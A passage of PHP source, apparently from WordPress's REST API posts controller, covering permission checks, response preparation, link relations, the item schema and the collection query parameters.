		if ( ! empty( $post_type ) && ! empty( $post_type->show_in_rest ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if a post can be read.
	 *
	 * Correctly handles posts with the inherit status.
	 *
	 * @since 4.7.0
	 *
	 * @param object $post Post object.
	 * @return bool Whether the post can be read.
	 */
	public function check_read_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );
		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		// Is the post readable?
		if ( 'publish' === $post->post_status || current_user_can( $post_type->cap->read_post, $post->ID ) ) {
			return true;
		}

		$post_status_obj = get_post_status_object( $post->post_status );
		if ( $post_status_obj && $post_status_obj->public ) {
			return true;
		}

		// Can we read the parent if we're inheriting?
		if ( 'inherit' === $post->post_status && $post->post_parent > 0 ) {
			$parent = get_post( $post->post_parent );
			if ( $parent ) {
				return $this->check_read_permission( $parent );
			}
		}

		/*
		 * If there isn't a parent, but the status is set to inherit, assume
		 * it's published (as per get_post_status()).
		 */
		if ( 'inherit' === $post->post_status ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if a post can be edited.
	 *
	 * @since 4.7.0
	 *
	 * @param object $post Post object.
	 * @return bool Whether the post can be edited.
	 */
	protected function check_update_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( $post_type->cap->edit_post, $post->ID );
	}

	/**
	 * Checks if a post can be created.
	 *
	 * @since 4.7.0
	 *
	 * @param object $post Post object.
	 * @return bool Whether the post can be created.
	 */
	protected function check_create_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( $post_type->cap->create_posts );
	}

	/**
	 * Checks if a post can be deleted.
	 *
	 * @since 4.7.0
	 *
	 * @param object $post Post object.
	 * @return bool Whether the post can be deleted.
	 */
	protected function check_delete_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( $post_type->cap->delete_post, $post->ID );
	}

	/**
	 * Prepares a single post output for response.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {
		$GLOBALS['post'] = $post;

		setup_postdata( $post );

		$fields = $this->get_fields_for_response( $request );

		// Base fields for every post.
		$data = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = $post->ID;
		}

		if ( in_array( 'date', $fields, true ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( in_array( 'date_gmt', $fields, true ) ) {
			// For drafts, `post_date_gmt` may not be set, indicating that the
			// date of the draft should be updated each time it is saved (see
			// #38883).  In this case, shim the value based on the `post_date`
			// field with the site's timezone offset applied.
			if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) {
				$post_date_gmt = get_gmt_from_date( $post->post_date );
			} else {
				$post_date_gmt = $post->post_date_gmt;
			}
			$data['date_gmt'] = $this->prepare_date_response( $post_date_gmt );
		}

		if ( in_array( 'guid', $fields, true ) ) {
			$data['guid'] = array(
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
				'raw'      => $post->guid,
			);
		}

		if ( in_array( 'modified', $fields, true ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( in_array( 'modified_gmt', $fields, true ) ) {
			// For drafts, `post_modified_gmt` may not be set (see
			// `post_date_gmt` comments above).  In this case, shim the value
			// based on the `post_modified` field with the site's timezone
			// offset applied.
			if ( '0000-00-00 00:00:00' === $post->post_modified_gmt ) {
				$post_modified_gmt = date( 'Y-m-d H:i:s', strtotime( $post->post_modified ) - ( get_option( 'gmt_offset' ) * 3600 ) );
			} else {
				$post_modified_gmt = $post->post_modified_gmt;
			}
			$data['modified_gmt'] = $this->prepare_date_response( $post_modified_gmt );
		}

		if ( in_array( 'password', $fields, true ) ) {
			$data['password'] = $post->post_password;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $post->post_name;
		}

		if ( in_array( 'status', $fields, true ) ) {
			$data['status'] = $post->post_status;
		}

		if ( in_array( 'type', $fields, true ) ) {
			$data['type'] = $post->post_type;
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_permalink( $post->ID );
		}

		if ( in_array( 'title', $fields, true ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );

			$data['title'] = array(
				'raw'      => $post->post_title,
				'rendered' => get_the_title( $post->ID ),
			);

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
		}

		$has_password_filter = false;

		if ( $this->can_access_password_content( $post, $request ) ) {
			$this->password_check_passed[ $post->ID ] = true;
			// Allow access to the post, permissions already checked before.
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );

			$has_password_filter = true;
		}

		if ( in_array( 'content', $fields, true ) ) {
			$data['content'] = array(
				'raw'           => $post->post_content,
				/** This filter is documented in wp-includes/post-template.php */
				'rendered'      => post_password_required( $post ) ? '' : apply_filters( 'the_content', $post->post_content ),
				'protected'     => (bool) $post->post_password,
				'block_version' => block_version( $post->post_content ),
			);
		}

		if ( in_array( 'excerpt', $fields, true ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$excerpt = apply_filters( 'the_excerpt', apply_filters( 'get_the_excerpt', $post->post_excerpt, $post ) );
			$data['excerpt'] = array(
				'raw'       => $post->post_excerpt,
				'rendered'  => post_password_required( $post ) ? '' : $excerpt,
				'protected' => (bool) $post->post_password,
			);
		}

		if ( $has_password_filter ) {
			// Reset filter.
			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
		}

		if ( in_array( 'author', $fields, true ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( in_array( 'featured_media', $fields, true ) ) {
			$data['featured_media'] = (int) get_post_thumbnail_id( $post->ID );
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $post->post_parent;
		}

		if ( in_array( 'menu_order', $fields, true ) ) {
			$data['menu_order'] = (int) $post->menu_order;
		}

		if ( in_array( 'comment_status', $fields, true ) ) {
			$data['comment_status'] = $post->comment_status;
		}

		if ( in_array( 'ping_status', $fields, true ) ) {
			$data['ping_status'] = $post->ping_status;
		}

		if ( in_array( 'sticky', $fields, true ) ) {
			$data['sticky'] = is_sticky( $post->ID );
		}

		if ( in_array( 'template', $fields, true ) ) {
			if ( $template = get_page_template_slug( $post->ID ) ) {
				$data['template'] = $template;
			} else {
				$data['template'] = '';
			}
		}

		if ( in_array( 'format', $fields, true ) ) {
			$data['format'] = get_post_format( $post->ID );

			// Fill in blank post format.
			if ( empty( $data['format'] ) ) {
				$data['format'] = 'standard';
			}
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $post->ID, $request );
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( in_array( $base, $fields, true ) ) {
				$terms = get_the_terms( $post, $taxonomy->name );
				$data[ $base ] = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array();
			}
		}

		$post_type_obj = get_post_type_object( $post->post_type );
		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public  ) {

			if ( ! function_exists( 'get_sample_permalink' ) ) {
				require_once ABSPATH . '/wp-admin/includes/post.php';
			}

			$sample_permalink = get_sample_permalink( $post->ID, $post->post_title, '' );

			if ( in_array( 'permalink_template', $fields, true ) ) {
				$data['permalink_template'] = $sample_permalink[0];
			}
			if ( in_array( 'generated_slug', $fields, true ) ) {
				$data['generated_slug'] = $sample_permalink[1];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		$links = $this->prepare_links( $post );
		$response->add_links( $links );

		if ( ! empty( $links['self']['href'] ) ) {
			$actions = $this->get_available_actions( $post, $request );

			$self = $links['self']['href'];

			foreach ( $actions as $rel ) {
				$response->add_link( $rel, $self );
			}
		}

		/**
		 * Filters the post data for a response.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( "rest_prepare_{$this->post_type}", $response, $post, $request );
	}

	/**
	 * Overwrites the default protected title format.
	 *
	 * By default, WordPress will show password protected posts with a title of
	 * "Protected: %s", as the REST API communicates the protected status of a post
	 * in a machine readable format, we remove the "Protected: " prefix.
	 *
	 * @since 4.7.0
	 *
	 * @return string Protected title format.
	 */
	public function protected_title_format() {
		return '%s';
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		$base = sprintf( '%s/%s', $this->namespace, $this->rest_base );

		// Entity meta.
		$links = array(
			'self' => array(
				'href'   => rest_url( trailingslashit( $base ) . $post->ID ),
			),
			'collection' => array(
				'href'   => rest_url( $base ),
			),
			'about'      => array(
				'href'   => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'author' ) )
			&& ! empty( $post->post_author ) ) {
			$links['author'] = array(
				'href'       => rest_url( 'wp/v2/users/' . $post->post_author ),
				'embeddable' => true,
			);
		}

		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'comments' ) ) {
			$replies_url = rest_url( 'wp/v2/comments' );
			$replies_url = add_query_arg( 'post', $post->ID, $replies_url );

			$links['replies'] = array(
				'href'       => $replies_url,
				'embeddable' => true,
			);
		}

		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'revisions' ) ) {
			$revisions       = wp_get_post_revisions( $post->ID, array( 'fields' => 'ids' ) );
			$revisions_count = count( $revisions );

			$links['version-history'] = array(
				'href'  => rest_url( trailingslashit( $base ) . $post->ID . '/revisions' ),
				'count' => $revisions_count,
			);

			if ( $revisions_count > 0 ) {
				$last_revision = array_shift( $revisions );

				$links['predecessor-version'] = array(
					'href' => rest_url( trailingslashit( $base ) . $post->ID . '/revisions/' . $last_revision ),
					'id'   => $last_revision,
				);
			}

		}

		$post_type_obj = get_post_type_object( $post->post_type );

		if ( $post_type_obj->hierarchical && ! empty( $post->post_parent ) ) {
			$links['up'] = array(
				'href'       => rest_url( trailingslashit( $base ) . (int) $post->post_parent ),
				'embeddable' => true,
			);
		}

		// If we have a featured media, add that.
		if ( $featured_media = get_post_thumbnail_id( $post->ID ) ) {
			$image_url = rest_url( 'wp/v2/media/' . $featured_media );

			$links['https://api.w.org/featuredmedia'] = array(
				'href'       => $image_url,
				'embeddable' => true,
			);
		}

		if ( ! in_array( $post->post_type, array( 'attachment', 'nav_menu_item', 'revision' ), true ) ) {
			$attachments_url = rest_url( 'wp/v2/media' );
			$attachments_url = add_query_arg( 'parent', $post->ID, $attachments_url );

			$links['https://api.w.org/attachment'] = array(
				'href' => $attachments_url,
			);
		}

		$taxonomies = get_object_taxonomies( $post->post_type );

		if ( ! empty( $taxonomies ) ) {
			$links['https://api.w.org/term'] = array();

			foreach ( $taxonomies as $tax ) {
				$taxonomy_obj = get_taxonomy( $tax );

				// Skip taxonomies that are not public.
				if ( empty( $taxonomy_obj->show_in_rest ) ) {
					continue;
				}

				$tax_base = ! empty( $taxonomy_obj->rest_base ) ? $taxonomy_obj->rest_base : $tax;

				$terms_url = add_query_arg(
					'post',
					$post->ID,
					rest_url( 'wp/v2/' . $tax_base )
				);

				$links['https://api.w.org/term'][] = array(
					'href'       => $terms_url,
					'taxonomy'   => $tax,
					'embeddable' => true,
				);
			}
		}

		return $links;
	}

	/**
	 * Get the link relations available for the post and current user.
	 *
	 * @since 4.9.8
	 *
	 * @param WP_Post $post Post object.
	 * @param WP_REST_Request Request object.
	 *
	 * @return array List of link relations.
	 */
	protected function get_available_actions( $post, $request ) {

		if ( 'edit' !== $request['context'] ) {
			return array();
		}

		$rels = array();

		$post_type = get_post_type_object( $post->post_type );

		if ( 'attachment' !== $this->post_type && current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'unfiltered_html' ) ) {
			$rels[] = 'https://api.w.org/action-unfiltered-html';
		}

		if ( 'post' === $post_type->name ) {
			if ( current_user_can( $post_type->cap->edit_others_posts ) && current_user_can( $post_type->cap->publish_posts ) ) {
				$rels[] = 'https://api.w.org/action-sticky';
			}
		}

		if ( post_type_supports( $post_type->name, 'author' ) ) {
			if ( current_user_can( $post_type->cap->edit_others_posts ) ) {
				$rels[] = 'https://api.w.org/action-assign-author';
			}
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $tax ) {
			$tax_base   = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;
			$create_cap = is_taxonomy_hierarchical( $tax->name ) ? $tax->cap->edit_terms : $tax->cap->assign_terms;

			if ( current_user_can( $create_cap ) ) {
				$rels[] = 'https://api.w.org/action-create-' . $tax_base;
			}

			if ( current_user_can( $tax->cap->assign_terms ) ) {
				$rels[] = 'https://api.w.org/action-assign-' . $tax_base;
			}
		}

		return $rels;
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'date'            => array(
					'description' => __( "The date the object was published, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'        => array(
					'description' => __( 'The date the object was published, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'guid'            => array(
					'description' => __( 'The globally unique identifier for the object.' ),
					'type'        => 'object',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'GUID for the object, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
							'readonly'    => true,
						),
						'rendered' => array(
							'description' => __( 'GUID for the object, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit' ),
							'readonly'    => true,
						),
					),
				),
				'id'              => array(
					'description' => __( 'Unique identifier for the object.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'link'            => array(
					'description' => __( 'URL to the object.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'modified'        => array(
					'description' => __( "The date the object was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'modified_gmt'    => array(
					'description' => __( 'The date the object was last modified, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'slug'            => array(
					'description' => __( 'An alphanumeric identifier for the object unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'status'          => array(
					'description' => __( 'A named status for the object.' ),
					'type'        => 'string',
					'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
					'context'     => array( 'view', 'edit' ),
				),
				'type'            => array(
					'description' => __( 'Type of Post for the object.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'password'        => array(
					'description' => __( 'A password to protect access to the content and excerpt.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
			),
		);

		$post_type_obj = get_post_type_object( $this->post_type );
		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
			$schema['properties']['permalink_template'] = array(
				'description' => __( 'Permalink template for the object.' ),
				'type'        => 'string',
				'context'     => array( 'edit' ),
				'readonly'    => true,
			);

			$schema['properties']['generated_slug'] = array(
				'description' => __( 'Slug automatically generated from the object title.' ),
				'type'        => 'string',
				'context'     => array( 'edit' ),
				'readonly'    => true,
			);
		}

		if ( $post_type_obj->hierarchical ) {
			$schema['properties']['parent'] = array(
				'description' => __( 'The ID for the parent of the object.' ),
				'type'        => 'integer',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$post_type_attributes = array(
			'title',
			'editor',
			'author',
			'excerpt',
			'thumbnail',
			'comments',
			'revisions',
			'page-attributes',
			'post-formats',
			'custom-fields',
		);
		$fixed_schemas = array(
			'post' => array(
				'title',
				'editor',
				'author',
				'excerpt',
				'thumbnail',
				'comments',
				'revisions',
				'post-formats',
				'custom-fields',
			),
			'page' => array(
				'title',
				'editor',
				'author',
				'excerpt',
				'thumbnail',
				'comments',
				'revisions',
				'page-attributes',
				'custom-fields',
			),
			'attachment' => array(
				'title',
				'author',
				'comments',
				'revisions',
				'custom-fields',
			),
		);
		foreach ( $post_type_attributes as $attribute ) {
			if ( isset( $fixed_schemas[ $this->post_type ] ) && ! in_array( $attribute, $fixed_schemas[ $this->post_type ], true ) ) {
				continue;
			} elseif ( ! isset( $fixed_schemas[ $this->post_type ] ) && ! post_type_supports( $this->post_type, $attribute ) ) {
				continue;
			}

			switch ( $attribute ) {

				case 'title':
					$schema['properties']['title'] = array(
						'description' => __( 'The title for the object.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit', 'embed' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
						),
						'properties'  => array(
							'raw' => array(
								'description' => __( 'Title for the object, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered' => array(
								'description' => __( 'HTML title for the object, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'editor':
					$schema['properties']['content'] = array(
						'description' => __( 'The content for the object.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
						),
						'properties'  => array(
							'raw' => array(
								'description' => __( 'Content for the object, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered' => array(
								'description' => __( 'HTML content for the object, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit' ),
								'readonly'    => true,
							),
							'block_version' => array(
								'description' => __( 'Version of the content block format used by the object.' ),
								'type'        => 'integer',
								'context'     => array( 'edit' ),
								'readonly'    => true,
							),
							'protected'       => array(
								'description' => __( 'Whether the content is protected with a password.' ),
								'type'        => 'boolean',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'author':
					$schema['properties']['author'] = array(
						'description' => __( 'The ID for the author of the object.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit', 'embed' ),
					);
					break;

				case 'excerpt':
					$schema['properties']['excerpt'] = array(
						'description' => __( 'The excerpt for the object.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit', 'embed' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
						),
						'properties'  => array(
							'raw' => array(
								'description' => __( 'Excerpt for the object, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered' => array(
								'description' => __( 'HTML excerpt for the object, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
							'protected'       => array(
								'description' => __( 'Whether the excerpt is protected with a password.' ),
								'type'        => 'boolean',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'thumbnail':
					$schema['properties']['featured_media'] = array(
						'description' => __( 'The ID of the featured media for the object.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit', 'embed' ),
					);
					break;

				case 'comments':
					$schema['properties']['comment_status'] = array(
						'description' => __( 'Whether or not comments are open on the object.' ),
						'type'        => 'string',
						'enum'        => array( 'open', 'closed' ),
						'context'     => array( 'view', 'edit' ),
					);
					$schema['properties']['ping_status'] = array(
						'description' => __( 'Whether or not the object can be pinged.' ),
						'type'        => 'string',
						'enum'        => array( 'open', 'closed' ),
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'page-attributes':
					$schema['properties']['menu_order'] = array(
						'description' => __( 'The order of the object in relation to other object of its type.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'post-formats':
					// Get the native post formats and remove the array keys.
					$formats = array_values( get_post_format_slugs() );

					$schema['properties']['format'] = array(
						'description' => __( 'The format for the object.' ),
						'type'        => 'string',
						'enum'        => $formats,
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'custom-fields':
					$schema['properties']['meta'] = $this->meta->get_field_schema();
					break;

			}
		}

		if ( 'post' === $this->post_type ) {
			$schema['properties']['sticky'] = array(
				'description' => __( 'Whether or not the object should be treated as sticky.' ),
				'type'        => 'boolean',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema['properties']['template'] = array(
			'description' => __( 'The theme file to use to display the object.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'validate_callback' => array( $this, 'check_template' ),
			),
		);

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
			$schema['properties'][ $base ] = array(
				/* translators: %s: taxonomy name */
				'description' => sprintf( __( 'The terms assigned to the object in the %s taxonomy.' ), $taxonomy->name ),
				'type'        => 'array',
				'items'       => array(
					'type'    => 'integer',
				),
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema_links = $this->get_schema_links();

		if ( $schema_links ) {
			$schema['links'] = $schema_links;
		}

		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieve Link Description Objects that should be added to the Schema for the posts collection.
	 *
	 * @since 4.9.8
	 *
	 * @return array
	 */
	protected function get_schema_links() {

		$href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" );

		$links = array();

		if ( 'attachment' !== $this->post_type ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-publish',
				'title'        => __( 'The current user can publish this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'status' => array(
							'type' => 'string',
							'enum' => array( 'publish', 'future' ),
						),
					),
				),
			);
		}

		$links[] = array(
			'rel'          => 'https://api.w.org/action-unfiltered-html',
			'title'        => __( 'The current user can post unfiltered HTML markup and JavaScript.' ),
			'href'         => $href,
			'targetSchema' => array(
				'type'        => 'object',
				'properties'  => array(
					'content' => array(
						'raw' => array(
							'type' => 'string',
						),
					),
				),
			),
		);

		if ( 'post' === $this->post_type ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-sticky',
				'title'        => __( 'The current user can sticky this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'sticky' => array(
							'type' => 'boolean',
						),
					),
				),
			);
		}

		if ( post_type_supports( $this->post_type, 'author' ) ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-assign-author',
				'title'        => __( 'The current user can change the author on this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'author' => array(
							'type' => 'integer',
						),
					),
				),
			);
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $tax ) {
			$tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;

			/* translators: %s: taxonomy name */
			$assign_title = sprintf( __( 'The current user can assign terms in the %s taxonomy.' ), $tax->name );
			/* translators: %s: taxonomy name */
			$create_title = sprintf( __( 'The current user can create terms in the %s taxonomy.' ), $tax->name );

			$links[] = array(
				'rel'          => 'https://api.w.org/action-assign-' . $tax_base,
				'title'        => $assign_title,
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						$tax_base => array(
							'type'  => 'array',
							'items' => array(
								'type' => 'integer',
							),
						),
					),
				),
			);

			$links[] = array(
				'rel'          => 'https://api.w.org/action-create-' . $tax_base,
				'title'        => $create_title,
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						$tax_base => array(
							'type'  => 'array',
							'items' => array(
								'type' => 'integer',
							),
						),
					),
				),
			);
		}

		return $links;
	}

	/**
	 * Retrieves the query params for the posts collection.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['after'] = array(
			'description'        => __( 'Limit response to posts published after a given ISO8601 compliant date.' ),
			'type'               => 'string',
			'format'             => 'date-time',
		);

		if ( post_type_supports( $this->post_type, 'author' ) ) {
			$query_params['author'] = array(
				'description'         => __( 'Limit result set to posts assigned to specific authors.' ),
				'type'                => 'array',
				'items'               => array(
					'type'            => 'integer',
				),
				'default'             => array(),
			);
			$query_params['author_exclude'] = array(
				'description'         => __( 'Ensure result set excludes posts assigned to specific authors.' ),
				'type'                => 'array',
				'items'               => array(
					'type'            => 'integer',
				),
				'default'             => array(),
			);
		}

		$query_params['before'] = array(
			'description'        => __( 'Limit response to posts published before a given ISO8601 compliant date.' ),
			'type'               => 'string',
			'format'             => 'date-time',
		);

		$query_params['exclude'] = array(
			'description'        => __( 'Ensure result set excludes specific IDs.' ),
			'type'               => 'array',
			'items'              => array(
				'type'           => 'integer',
			),
			'default'            => array(),
		);

		$query_params['include'] = array(
			'description'        => __( 'Limit result set to specific IDs.' ),
			'type'               => 'array',
			'items'              => array(
				'type'           => 'integer',
			),
			'default'            => array(),
		);

		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
			$query_params['menu_order'] = array(
				'description'        => __( 'Limit result set to posts with a specific menu_order value.' ),
				'type'               => 'integer',
			);
		}

		$query_params['offset'] = array(
			'description'        => __( 'Offset the result set by a specific number of items.' ),
			'type'               => 'integer',
		);

		$query_params['order'] = array(
			'description'        => __( 'Order sort attribute ascending or descending.' ),
			'type'               => 'string',
			'default'            => 'desc',
			'enum'               => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description'        => __( 'Sort collection by object attribute.' ),
			'type'               => 'string',
			'default'            => 'date',
			'enum'               => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
			),
		);

		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
			$query_params['orderby']['enum'][] = 'menu_order';
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( $post_type->hierarchical || 'attachment' === $this->post_type ) {
			$query_params['parent'] = array(
				'description'       => __( 'Limit result set to items with particular parent IDs.' ),
				'type'              => 'array',
				'items'             => array(
					'type'          => 'integer',
				),
				'default'           => array(),
			);
			$query_params['parent_exclude'] = array(
				'description'       => __( 'Limit result set to all items except those of a particular parent ID.' ),
				'type'              => 'array',
				'items'             => array(
					'type'          => 'integer',
				),
				'default'           => array(),
			);
		}

		$query_params['slug'] = array(
			'description'       => __( 'Limit result set to posts with one or more specific slugs.' ),
			'type'              => 'array',
			'items'             => array(
				'type'          => 'string',
			),
			'sanitize_callback' => 'wp_parse_slug_list',
		);

		$query_params['status'] = array(
			'default'           => 'publish',
			'description'       => __( 'Limit result set to posts assigned one or more statuses.' ),
			'type'              => 'array',
			'items'             => array(
				'enum'          => array_merge( array_keys( get_post_stati() ), array( 'any' ) ),
				'type'          => 'string',
			),
			'sanitize_callback' => array( $this, 'sanitize_post_statuses' ),
		);

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			$query_params[ $base ] = array(
				/* translators: %s: taxonomy name */
				'description'       => sprintf( __( 'Limit result set to all items that have the specified term assigned in the %s taxonomy.' ), $base ),
				'type'              => 'array',
				'items'             => array(
					'type'          => 'integer',
				),
				'default'           => array(),
			);

			$query_params[ $base . '_exclude' ] = array(
				/* translators: %s: taxonomy name */
				'description' => sprintf( __( 'Limit result set to all items except those that have the specified term assigned in the %s taxonomy.' ), $base ),
				'type'        => 'array',
